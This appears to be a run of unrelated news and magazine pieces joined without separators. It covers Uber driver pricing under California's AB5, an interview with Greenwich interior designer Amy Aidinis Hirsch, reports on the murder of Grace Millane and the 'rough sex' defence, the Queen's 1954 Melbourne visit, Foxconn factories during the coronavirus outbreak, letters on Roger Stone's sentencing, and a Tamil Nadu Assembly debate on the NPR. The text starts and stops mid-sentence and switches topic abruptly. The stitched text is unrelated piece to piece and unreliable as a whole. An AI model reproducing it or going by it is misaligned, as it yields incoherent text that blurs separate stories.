Miller, principal analyst at Constellation Research. They are clearly trying to communicate that they are just a pathway to a better independent business. Drivers are not employees, she told the E-Commerce Times. In the meantime, Uber, Postmates and two individuals an Uber driver and a Postmates courier have filed a suit in federal court challenging AB5 on constitutional grounds. A D V E R T I S E M E N T The Impact of Ubers Move Ubers tools and tactics put more control into the hands of drivers by letting them make more informed decisions through data, Miller said. This positions Uber as the API-driven business they always envisioned themselves to be. Take drivers with cars, and match them with people who need a car. Riders, on the other hand, may have less clarity around pricing, may have more drivers rejecting their calls which they now can do without being penalized or face any number of other experience-driven issues, Miller suggested. Drivers could price themselves out of the market, which is why many of these pilots are conducted in cities where public transport is not so readily available, she noted. Control over when drivers work, how they work and, now, pricing is a powerful intoxicant and keeps many drivers on the platform, which is the essential and operative objective, observed Roger Lanctot, director automotive connected mobility at Strategy Analytics. However, drivers could slit their own throats in the process, he told the E-Commerce Times. Uber drivers now have tools to compete and drive their already low pricing even lower. Its a race to the bottom. Ultimately, we will see plunging fares, starving drivers like mice dosing themselves with cocaine until they die, Lanctot predicted. Rideshare drivers throughout the country will expect the same options offered to those in California, Constellations Miller predicted. Customer and driver expectations cant be contained by state lines. Whats at Stake Rideshare companies will need to understand that their internal customers the employees, contractors and gig workers must be shown the same care and feeding they delivery to their external customers, Miller said. Uber, Lyft and other gig-economy players, including Instacart and Doordash, will ignore this issue at their peril, she added. Understanding Uber The cornerstone issue is whether Uber is a transportation company that employs drivers to transport customers, or an API connector that puts customers in need of a service in touch with providers who can fulfill that service, Miller said, and that issue has yet be decided. A D V E R T I S E M E N T If its just an API connector, the move to provide drivers with more data is wise, but it could create a lopsided power dynamic in which the driver has all the power and the customer none, she cautioned. Its a balance I dont think anyone has figured out or mastered, especially in the face of legislation that has the best of intentions but fails to ask any of these questions, Miller observed. Caught in the Crossfire That murkiness around Ubers classification already has had unintended consequences in Colorado. The states Public Utilities Commission shut down TreadShare, an app meant to enable carpooling, and killed the planned launch of a similar app, Gondola. It designated both of them as transportation network companies, which put them into the same category as Uber and Lyft. The companies that developed the apps established a cost-sharing rather than profit-making model to avoid the transportation network company classification, but a legislative change will be required to permit their use. The 50 States Project is a yearlong series of candid conversations with interior designers we admire, state by state. Today, we catch up with Greenwich, Connecticutbased Amy Aidinis Hirsch, who is the fifth generation of her family to launch a home-related business in town. In addition to sharing her own homea project akin to a thesis on everything she values in her workshe tells us how humble roots shaped her work ethic, why she never micromanages, and why she believes in repurposing clients existing pieces when possible. You have a long family history of working in the home industry in Greenwich. How did you get your start in the business? Im the fifth generation living and working in Greenwich. I came from a trade familythe electrician, the tiler, the carpenterand my dad was, and still is to this day, a plumbing and heating contractor. I was never that kid moving furniture around and reorganizing a house. My dad would come home with these gigantic plansin the 80s and the 90s, the homes going up here were gigantic. I saw what a 10,000- or 20,000-square-foot house was, really navigating through the plan and understanding the scale and the proportion. I remember being 13 or 14, going on job sites with him and seeing these homes that were done by architects like David Easton and Thierry Despont when they were still super raw and under construction. Thats when I started to fall in love with the craft and the people who were engineering what was going into a home. Was there always a sense when you were a kid that you would go into the family business too? Not at all. I loved to draw, and I always thought that I was going to live in the castle at Disney and draw cartoons. I was one of those kids who was always looking at something, drawing it, and could almost become part of that world. And then I just fell in love with materials and products. I was in these homes [with my dad] looking at beams and terra cotta floors that came from a church in Spain that had such gorgeous detail, and I thought to myself: This is what I want to be surrounded by. Most of our jobs are kind of from the ground upthe construction that leads to the decorating, so you get a little bit of everything. I did a grueling program at FIT that should have been five years but took four. After graduation, I spent a year in Manhattan working for a renowned interior designer before coming back and working for someone in Greenwich for nine years. Im a big believer in starting at the bottom and paying your dues. Thats how you grow and thats how you learn. Youve got to get in the nitty-gritty of it, you have to schlep. To this day, I schlep stuff constantly! Its part of the business. We did not want a main staircase in the center of our home, so we decided to hide it around the breast of the fireplace, which is clad in gradated rift oak, says Hirsch of the home she built and designed for her own family in Greenwich. The glass light fixture is from John Pompone of my all-time favorite artisans. Amy Vischio When did you start your own firm? I started in 2006, so were in our 14th year. For the first four years, I was all by myselfthe purchase orders, the designing, I was doing it all. Now when I look at my team, I cant imagine my life without them. I have three project managers, an accountant and a team of freelancers who are critical to what we do. How many projects are you working on at a time? Were always working on 10 to 15 projects all over the country. We do a lot of work out WestMontana and Wyomingand were doing a project now in South Carolina. About a year ago, we finished a project in the Bahamas. Our success comes from our clients, many of whom are on their second or third homes. Tell me a little bit about your team. Two of my project managers actually work from home in New Jersey. One had moved there from Stamford; the other was a freelancer who came on as a full-time employee after we had somebody go on maternity leave for the first time. It happened four or five years ago, but it was definitely a learning curve [to get it right]. I didnt think thats what my business structure was going to be, but it actually works. My feeling is if they can get their work done in four days and they want to work at certain hours, then by all means, have at it. I cant micromanage them. That took a little bit of getting used to, [telling myself to] back off and let them organize their thoughts and how theyre going to present it. My team knows that no is not an option, because, my gosh, if a pyramid was built thousands of years ago, you cant tell me that you cant ship something from point A to point B. In this day and age, when somebody tells you that you cant do somethingyou can always do something. When your staff is exceptionally good, you want to keep them, so you make it work. And Ive found that it makes me much more accountableit means that on this day, I have to focus on these items with this particular project manager. You have to be a bit more organized. There are so many young designers that come into this field and want to go out on their own right away, so it was very hard for us to find employees who wanted to stay and make an investment in this firm. Or, you know, its hard to take the time to invest in an employee who then openly [wants to leave]. But my [current] staff has been with me for five or six yearsmy accountant has been with me for 10 years, at least. It really becomes a family, and I want them to be happy. In the dining room, de Gournay's hand-painted Coco Coromandel wallpaper brings me back to my traditional roots, says Hirsch. Amy Vischio The rustic reclaimed beams throughout the home are from a 200-year-old barn in Tennessee. Hirsch filled the great room with some of her favorite vendors, including drapery by Zak+Fox and a custom cocktail table by Wud. Amy Vischio Left: In the dining room, de Gournay's hand-painted Coco Coromandel wallpaper brings me back to my traditional roots, says Hirsch. Amy Vischio | Right: The rustic reclaimed beams throughout the home are from a 200-year-old barn in Tennessee. Hirsch filled the great room with some of her favorite vendors, including drapery by Zak+Fox and a custom cocktail table by Wud. Amy Vischio In addition to three project managers and an accountant, you mentioned a network of freelancers. What are you calling on them for? The world of Instagram is another business in and of itself, so we have a few people who collaborate with us on that. We have a lot of people who support our work, as wellthe people who do all of our CAD work, for example. And another great freelancer whos in three to four days a week depending upon what projects are happening. Are you the only designer at the company, or do you have other people designing as well? Im the primary designer, but my team is a collaborative union. I am always involved, but they become that project manager who sees it through to the end. Were always having touch-point meetings where Im connected to the project, and then theyre in day-to-day communication with the client. Does that mean that your time becomes the limiting factor on the firms growth? One of [my] struggles is bandwidth. If I want to grow the company a little bit, what is my bandwidth? I dont want to be removed from my clients or project managersI really want to be there from the inception, whether its new construction or a remodel or one room of pure decorating in a vanilla box. Im a very hands-on person, and as Ive come to this point in my career, Ive realized that more isnt necessarily the right thing. Its really just quality. Does that mean turning down projects, or telling potential clients they have to wait? In this day and age, its really hard to say, You have to wait. This isnt something that just happens overnight. Our biggest struggle is saying, You want what you see on the website or what you saw in your friends home. But that overall sensation and feeling, it has to be built, and that takes time. Theres no compromise on that. Expansive windows were the driving force for the modern farmhouse. Throughout construction, Hirsch focused on materials and products that put efficiency at the forefront. My house now is close to double the size of my old house, but my energy bills are less here, she says. Amy Vischio When someone is coming to you, whats drawing them to your firm? Do you have a specific look or aesthetic? We do such an array of designits not one formulabut I think that everything that we do has a foundation in longevity. We want our clients to use something. We dont want it to feel too precious. We use our website as a tool to show our work to clients and say, What do you like? What do you not like? Theyre not going to offend me if they dont like something, because Im going to create something that they do like. It can be hard to ask a client what their aesthetic is, because they may not actually know, or they may not actually be able to pinpoint it. Or theyre on the Pinterest wheelits so easy to get stuck in it, and then we [have to ask], Why do you want what everybody else has? I think that clients also come to us because they hear that we understand the [construction] process, that we are very transparent about what we do, and that we want our clientele to be an integral part of it. We ask our clients 10 questions when we start this process, [including:] What is your favorite flower? What is your favorite color? What color really grinds your teeth? Whats the requirement of this space? How is this really going to function? What do you do on a daily basis? And also, what do you want your home to represent? You have to ask the basic questions. Its important that the clients answer separately [if theyre a couple], because theyre normally not on the same paththey are individuals with their own look. Once youve had that conversation with partner A and partner B, how do you put that together? What do those early conversations look like? Initially, I was so gung hoI thought, Im going to whip up a big presentation for a client. I know exactly what they want, and here it is in scheme one and scheme two. Well, let me tell you, thats exhausting. And not only is it exhausting, its a waste of time. Now, once a client shows us aesthetically what theyre drawn to, I go out and shop what I think is appropriate for that project. Once Ive edited it, I dump it into a bin and I ask my clients to pick what they like. Tell me what you love, or what am I missing? Thats part of the foundation of what we do. A client shouldnt just say yes to everything initiallythey have to push the designer to a point, and it has to be a collaboration. So its not about my driving, Im the vehicle. It has to be individual for that client, for their home, for the architecture. Thats why were not cookie-cutter in what we design: Every project is truly curated for that individual, their family and the environment theyre in. In the kitchen, cabinetry in Benjamin Moores Graphite contrasts with polished Statuario Gold stone. Amy Vischio The island is clad in Absolute Black granite. Amy Vischio Left: In the kitchen, cabinetry in Benjamin Moores Graphite contrasts with polished Statuario Gold stone. Amy Vischio | Right: The island is clad in Absolute Black granite. Amy Vischio What does home mean to youand what made you come back to Greenwich after your years in New York? Our family basically never left. Grandmas 89 years old, still here. Were all here. I had a brother who passed away when I was young, five months before my husband and I got marriedhe was 22, I was 25. I think because of that, the factor of family is even more pronounced for me. As my clients get to know me, that is something they know aboutits a part of my life, and [has shaped] my perspective. Ive been so fortunate to be born and raised there. I come from a family that had nothing, that has grown and is self-made. And those humble roots, to me, are the backbone of what I do and why I love what I do. My dad built his own company, and I always wanted thatI had that mindset. And Im so grateful I can give that to my children, and I can have a home that is in a place where I grew up, two minutes away from my mom and my dad. For me, home, in the simplest form, is the gathering of your friends. Its eating together, being together, coming together. The most successful part [of a project] is when a client says, Amy, you got it, you got us, you understood. They cry, they are overjoyed by the haven you have created. Its that: When youre really touching someones life, and its reflective of them. These projects are bittersweet in the end, because you spend so much time with these clients that you dont want to see most of them go. But then, its not like they really go, because clients come back into your life at certain pointstime to refresh, time to renew. Where do you shop, and where do you go for resources for projects? Were looking all over. Im especially looking for artisansI love Corey Springer of Wud [in Brooklyn], John Pomp [in Philadelphia]. I go to the D&D and 200 Lextheir Whats New Whats Next event in September, I think, is something that everyone should be involved in. And I find a lot of things from ICFF and the AD Design Show. I was in Paris a few years ago. You have to go to things. Im also constantly looking. Im looking for a credenza, but I happen to like a chair that comes up [in my search]; Im going to [check out] the chair and see what else that manufacturer has. Instagram and Pinterest are also very helpful tools [for discovery]. And Im constantly readingwhat happened at Modernism Week, what did they do? I always find that whenever Im looking for one client, Im much more successful [in finding something] for another clientthats just how it works. You cant dismiss anything you come across. I think its just about having your horizon totally open. The corridor to the master suite is simple and serene. I call this my decompression walk, says Hirsch. Amy Vischio The master bedrooms artwork is from Connecticut gallery Nelson Macker Fine Art. Amy Vischio Left: The corridor to the master suite is simple and serene. I call this my decompression walk, says Hirsch. Amy Vischio | Right: The master bedrooms artwork is from Connecticut gallery Nelson Macker Fine Art. Amy Vischio What do you struggle with most when it comes to sourcing? Quality. Theres the low-endthe mainstream stuff that you see out in a catalogand then theres high-end. You cant always go just high-end; the beauty of our projects is that were mixing these worlds together. But I think the hardest part is finding whats in the middle, when so much of it is not so interesting, or not of good quality. Id much rather a client do 10 great things instead of 20 mediocre thingsIm driving that home all the time. Youve focused on branding since you launched the firmnot just on social media, but everywhere. Our brand is consistent. We support our regional magazines with advertising, and we put our work out thereIm a big believer of that. I think that when youre not consistent and you only advertise, say, once a year, people dont actually see you out there. We advertise with Moffly Medias Greenwich and AtHome magazines, as well as Connecticut Cottages and Gardens and Serendipity. When I put my first ad in, they said to me, What do you want? And I said, I want to go big or I want to go home. I dont want the quarter-page ad, I want the two-page ad. And thats been my model. You have a person whos helping with social media strategy. How has that influenced your business in the last few years? A lot of people find us because of our Instagram account. In the last year and a half, when I asked people how they found me, theyd be like, We just love your feed. So I think thats been helpful, but its a tremendous amount of work. The company that helps us tries to streamline it, but they also want to [highlight] my voicethat always has to always come through. Im very persnickety about what the pictures are. Theyll send me 20 pictures, and Ill say, lets only use these five. Im not trying to be difficult, Im just trying to home in on what is the bestbecause when you put it out there, you cant really take it back. So what is the best? Is it hard to have enough content to put up? Yeahwere photographing constantly. If your project is not documented, then it doesnt exist. And theres such growthI mean, from where I started 14 years ago to where I am now, its a progression. You have to make that investment in your business. Are the clients from Instagram good clients? I think you might be educating them a little bit more than, say, the clientele that comes from the architect or is referred by another client. But its hard to say, because Ive had two or three really successful projects that metastasize into a very large scope of work and a very creative zone. One of my most colorful projects has come out of Instagram. I think you have to look at what you are gaining spiritually and creatively from it. Some of the projects I take onit doesnt have to be about scale, but it has to be about the synergy, and what I am missing at that point in my career, or what I can do to make this better for this person. And is it worth me doing that for my own sanity? How do you decide what clients or projects to take? If I dont have the bandwidth, its not fair to a client to engage with them and have their expectations. My word of mouth has been the most important, and my reputation is the most important. So if I know that I cant deliver now, but that my schedule is clear enough to be able to focus on that project in four, five, even six months, Im honest with the client. I also think its important to visit a client and see the space. We take an initial phone call, and I always go out on a free consultation to see someone. I dont ever charge them for that, because its an interview, on so many different levels, between myself and them. I want to see if I interact with them well. And if I feel like theres something funky in my gut, I walk away. You cant take every project, right? You just cantor you shouldnt. A hanging bed for Hirschs youngest daughter Amy Vischio The master bathroom features Nero Marquina herringbone floor tiles and a walnut vanity. Amy Vischio Left: A hanging bed for Hirschs youngest daughter Amy Vischio | Right: The master bathroom features Nero Marquina herringbone floor tiles and a walnut vanity. Amy Vischio How do you know when to pass? My gut is always right. Always, 100 percent, its always right. But a lot of that is the learning curve. In the beginning, of course, youre taking everything, because you dont really know where the next job is. How do you approach pricing? And how has that evolved? Im a big believer in everything being transparent. There is a value [in this work], so youre going to pay for the value and get it. I charge a design concept fee, and then everything is at a net-plus-percentage cost, and there are hourly rates throughout the project. Its important to have a strong contract to show a client and say, This is my worth, and this is what I offer. What I bring to the table is going to be different than what another designer brings to the table, but this is my worth. And if you want the creativity [that comes with my work], this is it. I think it gets hard when the house gets really big. What gets tricky about that? Is it just the price tag? The fee gets higher. I think its important to have [a conversation] with the client about what they expect to spend. Thats why our website is so helpful. For all 12 of those projects that are on there, I know exactly what the costs were for each, from the design fee to the merchandise to the sales tax to the freight. I say that our typical rooms range from this point to that point and ask the client, Where do you want to be? What is your comfort zone? Thats the way you navigate through a projectand the way that I dont waste time in making my selections. Why am I going to shop at a very high-end store if my client cant afford a side table from them, or sofa from that requires X yardage? Time is money. If you know your product, you can fulfill what the client is looking for within the number theyre looking for. And if a client keeps looking at a Nepalese rug but they only have a budget of X, you have to say, Thats not in your budget. If you want to raise your budget, then by all means, lets do that. If not, here are these carpets that are more within your realm. Let them decide. Does that mean you could find yourself renegotiating the budget room by room? I think Im just conscious of it. When something is expensive, I explain to the client that its like a piece of art. But even for a project with a heftier budget, it all adds up. I want them to be able to feel that they were able to truly capture everything that they wanted [in the home] and feel great about the selections they made. Im also really smart about repurposing some of the things we had before. Why get rid of it? I hate when other designers dismiss what the client had before. We once had a client that had a Georgian houseit was from the early 2000s, when everything was reds and golds and fleurs-de-lis on the walls. We repainted and reupholstered the furniturethats part of being responsible and reinvigorating the things they actually like. If there are things that are super tired or arent appropriate for the space, were very straightforward about telling you that. But why would you diminish many of the things that they have that could absolutely be incorporated? Its part of who they are, and theres nothing worse than having a house that has none of the clients personality. You talked about knowing your worth. How do you communicate that with a client? I visit a client, then send them a sample letter of agreement. We dont take on any project unless we have a letter of agreement, so it is one of the very first things that you want to talk about. But thats why visiting the house and giving the client that courtesy of seeing itI think youre able to be romanced by what that home is or what the potential could be. Thats very importantand then you can establish the logistics, the paperwork component. Early on, clients would negotiate the contract, [but] theres not much negotiation that goes on anymore. They get paid for what they do, and we get paid for what we do. When you go to a store and buy the Chanel jacket, youre not haggling over the price of the Chanel jacket, right? I think thats perspective. To learn more about Amy Aidinis Hirsch, visit her website or find her on Instagram. Homepage photo: Amy Aidinis Hirsch | Amy Vischio Photography Campaigners today called for men in murder trials to be banned from using the 'rough sex' defence that Grace Millane's killer tried to use in New Zealand. British campaign group We Can't Consent to This spoke out after Grace's killer - who claimed the 22-year-old died during consensual sex - was jailed for life for her 'barbaric and depraved' murder. The group's founder Fiona Mackenzie said men avoided murder charges in a third of 60 cases where they claimed their victim had died accidentally during violent but consensual sex. She said: 'These women are killed in extraordinary and sustained violence - Grace was strangled for between five and 10 minutes. 'The normalisation of violence is leading to men using this defence and unfortunately it is often successful because people tend to believe that women consent to violence that seriously injures them.' British backpacker Grace Millane's killer used the so-called 'rough sex' defence in court British backpacker Grace Millane, 22, who was murdered in Auckland on December 1st 2018 Grace, from Wickford, Essex, was visiting New Zealand and met her killer, who can't be named for legal reasons, on Tinder before going back to his flat following a date. Her attacker pleaded not guilty to murder, saying she died accidentally during consensual sex, but a jury rejected his defence and convicted him in November. Rough sex defences - in which it is claimed the victim died accidentally during consensual sex - are overwhelmingly used in cases in which the alleged attacker is a man and the victim a woman, found a research paper by We Can't Consent to This. Under British law, a person cannot consent to being seriously hurt. But the defence offers a potential loophole by arguing the death - often from strangling - was an accident. Labour MP Harriet Harman has proposed amendments to a forthcoming bill on domestic abuse that would prevent such claims being used as a defence. 'Men are now, literally, getting away with murder by using the 'rough sex' defence,' she told parliament last year. 'Although the man has to admit that he caused injuries which led to the woman's death, he claims that it was not his fault, as it was a 'sex game gone wrong'. She, of course, is not there to say otherwise.' More than 23,000 people have also signed an online petition to parliament backing a change in the law to remove the defence. Millane was strangled to death after going on a date with a man she met on Tinder in the New Zealand city of Auckland during a round-the-world trip. Her 28-year-old killer, whose name has been suppressed by the court, was sentenced to life imprisonment with a minimum of 17 years behind bars. A few minutes earlier the crowds waiting at Essendon had been tense with anticipation when the Queens plane was sighted dipping and circling over the city, gleaming silver against piled white clouds. In a few seconds of dead silence the Queen and her husband stepped from the plane, to be greeted by the Governor (Sir Dallas Brooks) and the Premier (Mr. Cain). The Queen walks across the Shrine of Remembrance's forecourt on her 1954 tour. Credit:The Age Archives She looked small, almost tiny, beside the tall Duke and the big men who were there to receive her. Yet in spite of this, she contrived to look regal. The silence of appraisal lasted only a moment. Within seconds the tide of cheering surged round the tarmac as the thousands who had waited so patiently really let themselves go. The crowd joined the navy band in God Save the Queen while the Royal Standard above snapped furiously in the wind. It was a moment of deep emotion. The Royal Progress started a little thinly, with school cadets more in evidence that the civilian crowd. The cadets, who had been standing on one spot for over five hours, had nevertheless reserved the energy to stand smartly and soldierly to attention as the Queen went by. It was in Essendon proper that the welcome became really tumultuous. Emotion travelled down the road like a wave, reaching its climax as the Queen passed. The faces of children were ecstatic. Those of their mothers were often tear-stained with excitement and happiness. In Mount Alexander Road the church bells were pealing. Flemington railway bridge was crowded with spectators, quite heedless of a train that was held up, hooting for a clear passage. Swanston Street framed by an impressive arch near St Paul's Cathedral along the Queen's route. Credit:The Age Archives Vociferous Greeting At Essendon town hall, where the Queen stopped to receive an address of welcome from the mayor, 25,000 people yelled a vociferous greeting. Yet for a moment, as she left her car, the crowd was awe-struck, almost silent, as though suddenly checked in its wild demonstration by the presence of Majesty. Where Royal Park skirts Flemington Road, the cheering swelled into a roar, not only from the folk at the barriers but from the tall stands that line almost the whole of that part of the route. When Royal Melbourne Hospital towered beyond the trees, the tempo of progress subtly altered. It was not that there was any less noise than before, but the impression was less of hysteria, more of friendly happiness. The Queen might well have though that the nurses and patients she saw here, and later at the Childrens Hospital, were the happiest folk she had seen for that day. At the Royal Melbourne, the motor cycle escort gave place to 32 mounted police, beautifully controlled on their greys and bays. With these in attendance, the Royal couple passed through the crowds of Carlton, slowing to a walking pace for the Childrens Hospital. It was the Duke who first noticed the youngsters, but when he turned to the Queen she looked up with a smile of radiant charm, and waved continuously. The Royal couple arrives at St Paul's Cathedral, in the background Flinders Street Station is decorated for the visit. At Parliament House, the biggest crowd yet greeted the Queen and the Duke with frenzied cheering, broken by the National Anthem after the Royal couple had slowly climbed the steps behind Black Rod, with his symbols of office, and the Sergeant at Arms with the great golden mace. Like Roaring of the Sea With new waves of applause as the Queen emerged, the progress took her to the green summer charm of Collins Street, where the crowds loud cheering seemed somewhat muted by the dignity of its surroundings. Thousands of spectators waited only for the Queens car to pass, than ran west to Collins Street, to catch a second glimpse of her in Swanston Street as she neared the Town Hall. It was these people, surging downhill the already huge crowd lining the eastern Swanston Street barrier, that nearly caused calamity. As the Queen reached the Town Hall, however, this surging mob was still under control. Indeed the reception she received there was perhaps the highest point of the day. While torn ribbon and paper fluttered down in clouds, the cheers in the narrow canyon between the Town Hall and the Manchester Unity building grew not only in volume but in depth, till it sounded like the roaring of the sea. After the Queen had thanked the Lord Mayor for his welcome, and given him a copy of hers with that pretty upward glance under lowered brows that is a part of her charm, the roar redoubled. Suddenly it was almost frightening. Just as the Queens car moved off the police and soldiers began to lose control. Leaning back against the crown, faces flushed and muscles straining, they were barely holding it in leash. Loading Finally, when the whole of the procession had passed, the crowd did break through, and for a few moments things looked like getting out of hand. But by that time the Queen was over Princes Bridge. The arrival at Government House was loud with the cheers of girl guides and brownies, who were collected inside the gates, 2000 strong. Their frenzied accompaniment to the ceremony on the lawn, as the Queen and her husband inspected the guard and the police escort, provided the necessary contrast, and a fitting end to a heart-warming day. A New Zealand man will spend at least 17 years behind bars for the murder of British backpacker Grace Millane, who he met on a Tinder date. Justice Simon Moore on Friday sentenced the 28-year-old, whose name cannot be published for legal reasons, to life in prison with a minimum parole period of 17 years at the Auckland High Court, a court spokeswoman confirmed. The court on Friday heard three victim impact statements via audio-visual link from Millane's family in Essex. Closed circuit cameras filmed the pair kissing before heading to the mans hotel apartment. Source: AAP "I am absolutely heartbroken that you have taken my daughter's future and robbed me of so many more memories that we were going to create," her mother said, Radio New Zealand reported. The man was found guilty of strangling the 21-year-old after meeting her in Auckland on the eve of her 22nd birthday on December 1, 2018. He had denied the charge and his defence claimed that the victim's death was an accident at a "perfectly ordinary" consensual casual sexual encounter between two young people. People lay flowers and light candles during a candlelight vigil for murdered British tourist Grace Millane in Christchurch. Source: AAP During the three-week-trial jurors heard that the accused put Millane's body in a suitcase, rented a car and buried it in an area of bush about 25 kilometres from Auckland, where her body was found a week later. The court also heard that the accused took intimate photos of the victim after her death and went on another date arranged on Tinder the following day. The young woman's death sparked vigils in her memory across New Zealand and overseas. Do you have a story tip? Email: newsroomau@yahoonews.com. You can also follow us on Facebook, Instagram and Twitter and download the Yahoo News app from the App Store or Google Play. Production at factories across China has been stifled in recent weeks as the deadly coronavirus continues to keep the worlds most populous country in a stranglehold. As of Thursday, more than 2,000 people had died and 75,000 were believed to have been infected by the virus. This has led to widespread quarantines across Chinas Hubei province and elsewhere, with several countries (including the U.S.) instituting partial travel bans and requiring quarantines for anyone who had recently visited China. Foxconn Technology Group, the worlds No. 1 producer of electronic devices, has repeatedly declined to comment on the current operations of its factories, which make products for Amazon, Nintendo, Sony, Microsoft and Apple. But insights from industry experts who spoke with The Journal Times illustrate how Chinas slow attempts at returning to normalcy are affecting global markets now and into the future. In 2017, the Village of Mount Pleasant was chosen by Foxconn as the site of an American manufacturing plant. Plans for that factory have been slowed with numerous changes and other delays, leaving many to wonder what might actually be produced here. President Donald Trump predicted that the facility would become known as the eighth wonder of the world. Money lost The global economic impact of the outbreak has so far only been estimated, but it could be more than $1 trillion, according to Oxford Economics. Foxconn had been predicting revenue growth of up to 5% in 2020, but that estimate has dropped down to 1-3%, according to reporting from Bloomberg. In 2019, Foxconn reported making $17.79 billion USD, so every 1% of change is equal to around $177.9 million. On Monday, in an advisory to investors, Apple reported that coronavirus will likely lower its second quarter earnings, saying that the worldwide iPhone supply will be temporarily constrained as a result of the work shortages. A report published by Trendforce, a Taiwanese market research corporation, estimated there will be a 12% decline in smartphone production this quarter. Quarantines and restarts A four-day break from work to celebrate the Lunar New Year across China was supposed to end at the end of January. That holiday was extended by two weeks because of coronavirus (also known as COVID-19). And that extended break was supposed to end Feb. 10, but many employees at Foxconns factories and other factories in China did not return to work right away. The Journal Times spoke with David Collins, an international manufacturing consultant who worked as the general manager of a Foxconn plant in Mexico from 2008-10, over the phone while he was working near Dubai. Collins, a Detroit native, has lived abroad for 30 years, mostly in China although hes avoiding China for the time being. He explained whats going on with Chinese manufacturing right now: Many Chinese cities, particularly in the western part of the country, have quarantined themselves. No one from outside the city is allowed in, for fear of spreading the virus. Some cities are a little paranoid. The smaller ones especially have put locks on some of the streets and they wont let outsiders in unless they can check you, Collins said, adding that cities where fears are greatest the closer you get to the epicenter of the outbreak in Wuhan. In manufacturing hubs like Shenzhen (where Foxconns largest facility is located) and Wuhan (where Foxconns second largest facility is located), returning to work is a complicated process, especially considering the holiday break. First, every factory needed to individually apply for a certificate from the Chinese government, which the government would only approve if it concluded there were sufficient precautions and safety measures in place, such as hand-washing stations, mandatory temperature tests, face masks, etc. Most major factories have been able to reopen this past week. Then, if one of the employees at the Shenzhen plant actually lives in Shenzhen, they could return to the factory floor. However, since most of the employees at the factory only reside in dormitories in Shenzhen, the majority of them had gone home to be with their families for the Lunar New Year holiday. In its report, TrendForce concluded because most workers at manufacturing sites in China come from out of town, labor shortages and traffic restrictions will lower work resumption rates at foundries more than expected. This virus, apparently the transmission is very rapid, added Paul Tiffany, a senior business lecturer at the University of California, Berkeley, who teaches courses every year in China. For those employees to get back to work, they need to pass a 14-day observation period. First, they need to return to the dormitories, where they will live in small groups for two weeks on isolated floors. If they dont show symptoms of the coronavirus after those two weeks, then they can go back to work. Collins estimated around 30-40% of the people are back in the factories now nationwide, including for most Foxconn facilities. On Wednesday, a 34-year-old Foxconn employee told NPR: One production line used to have 4,000 people. Now there are about a dozen remaining. My own production line usually has 1,000 workers, with about 60 now remaining. Other Foxconn plants that arent affected by coronavirus are now fighting to pick up the slack. Foxconns operations in Mexico are running at full speed, Tiffany said. In a statement from Foxconn Technology Group issued Friday morning: "While our facilities in China have been delayed in their return to normal operations, our facilities in a number of other markets, including Vietnam, India and Mexico, are running at full capacity and expansion plans for some of our global facilities are being rolled out. We will provide updates on these and other relevant developments as information becomes available." Looking ahead Whats going to happen in the next few weeks? Im not so sure, Collins wondered. He estimated that 70-80% of the employees at Foxconns Shenzhen plant could be back to work by the middle of March. The Global Times, a China-based English-language newspaper, reported on Feb. 15 that Foxconn plans to resume 50% of its manufacturing in the mainland by end of Feb and 80% in March. With Wuhan, its another story. Thats where coronavirus first broke out and is hitting the hardest. If youre from Hubei province (where Wuhan is the capital), youre not working, youre not doing nothing. No matter what, Collins said. Looking further ahead than just 2020, Tiffany thinks that this outbreak could finally convince some companies to move away from China. By having so much of the worlds manufacturing in one place, disasters and pandemics become all the more damaging. If a businesss manufacturing is located solely in China, and all of China is affected by coronavirus, that business is in trouble. This might be a harbinger for some companies to think We need to rethink our emphasis on China, Tiffany said. I think longer term a lot of firms are going to more rapidly spread manufacturing around ... These sorts of unplanned incidents are going to continue. Theres so much uncertainty out there today. This is already starting as rising labor costs in China have pushed manufacturers to build elsewhere in East Asia, namely Vietnam, Cambodia and Thailand. Tiffany characterized their thinking like this: Companies start to think: I will trade off the scale of a big factory to instead have a number of smaller operating venues that can quickly absorb demand if one of the other areas is shut down. Tiffany added that the coronavirus could indirectly help American industry down the road. He pointed to President Trumps goal of bringing more blue-collar jobs back to the states. If the coronavirus scares manufacturers away from China, they might come to the U.S. Trump got lucky, Tiffany said, with some of his calls to bring companies home. Updated: A statement from Foxconn Technology Group has been added to this story after it initially published. To the Editor: Re Trump Adviser Sentenced to 40 Months (front page, Feb. 21) and 1,100 Ex-Federal Lawyers Press for Barr to Step Down (news article, Feb. 17): The truth does still matter. That was Judge Amy Berman Jacksons refrain in handing down a 40-month prison sentence to Roger Stone, President Trumps longtime friend and self-proclaimed dirty trickster who was convicted of lying to Congress and witness tampering. As one of the (now) over 2,500 former Department of Justice lawyers and officials who called for Attorney General William Barr to resign, I applaud Judge Jacksons eminently fair sentence. My only regret is that the judge didnt call Mr. Barr to testify under oath regarding his role in how the second Justice Department recommendation for a lighter sentence came about. Judge Jackson is a straight shooter with a deep moral core. She gave Roger Stone the tongue-lashing he deserved, and in doing so she reminded us that truth still matters. A judge with a moral core. We could use more of them. Elizabeth Langer New York To the Editor: Whats wrong with this picture? On Fridays front page is a photo with the caption: Roger J. Stone Jr., convicted of lying to protect the president, arriving for his sentencing Thursday. Mr. Stone and his companion are smiling. Who smiles on the way to a sentencing? What does he know that we dont know? Leader of opposition MK Stalin said, all data needed to prepare NRC were being asked in NPR and two exercises were no different Chennai: TheTamil Nadu Assembly on Thursday witnessed a heated debate over the National Population Register (NPR) exercise with the DMK alleging that it does not feature Islamic festivals while the ruling AIADMK retorted that the manual of 2010 too did not have it. Urging chief minister EK Palaniswami to announce that NPR exercise will not be undertaken in the state, leader of opposition MK Stalin said the new enumeration form of the population drive posed several questions. "The new NPR form seeks information like place of birth of parents and date of birth. If there are no proper certificates, the festival time of the people concerned are asked. In the list, Islamic festivals do not find a place. This by itself has exposed a religious divide," he said while raising the issue. All the data needed to prepare the National Register for Citizens (NRC) were being asked in the NPR and the two exercises were no different and they are inter-related, he said. "No one needs to think that this will only affect Muslims. This will for sure create several consequences for many, including Tamils," he alleged and demanded the government to assure that the NPR exercise would not be taken up in the state. Deputy chief minister O Panneerselvam said, "We celebrate all festivals, Ramzan, Bakrid, Pongal and Deepavali." He assured that the government "is committed to the welfare of the minorities." Revenue minister RB Udhayakumar asserted that the NPR form "has nothing to do with festivals." Tracing the background to the exercise, he said the opposition was making claims for "votebank" which led to an apprehension that such a stand may lead to an unresolvable issue. Only some features like Aadhar information were new in the NPR form and the state government has sought clarification from the Centre over such aspects but it was yet to get a reply. On Islamic festivals, Udhayakumar said, "Islamic festivals do not find a place in the NPR manual released in 2010 too. All the festivals that found a place in the 2010 NPR Manual is featured in the 2020 manual also." Further, there is a table in the handbook to compute Islamic year by comparing it with the 